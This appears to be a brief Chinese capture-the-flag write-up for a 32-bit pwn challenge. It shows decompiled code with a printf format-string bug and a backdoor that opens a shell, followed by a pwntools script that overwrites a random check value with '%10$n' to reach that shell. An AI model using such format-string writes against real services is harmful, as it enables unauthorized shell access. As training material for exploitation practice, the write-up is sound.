main函数如下：

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int fd; // ST14_4
  int result; // eax
  int v4; // ecx
  unsigned int v5; // et1
  char nptr; // [esp+4h] [ebp-80h]
  char buf; // [esp+14h] [ebp-70h]
  unsigned int v8; // [esp+78h] [ebp-Ch]
  int *v9; // [esp+7Ch] [ebp-8h]

  v9 = &a1;
  v8 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &unk_804C044, 4u);
  printf("your name:");
  read(0, &buf, 0x63u);
  printf("Hello,");
  printf(&buf);
  printf("your passwd:");
  read(0, &nptr, 0xFu);
  if ( atoi(&nptr) == unk_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  v5 = __readgsdword(0x14u);
  v4 = v5 ^ v8;
  if ( v5 != v8 )
    sub_80493D0(v4);
  return result;
}

可以看到printf存在格式化字符串漏洞
1.png
将0x804C044覆盖为4，然后输入4即可进入后门。

from pwn import *

local = 1
if local == 1:
    io = process('./pwn')
else:
    io = remote('node4.buuoj.cn',26740)

payload = p32(0x804c044)+"%10$n"
io.recvuntil("name:")
io.sendline(payload)

io.interactive()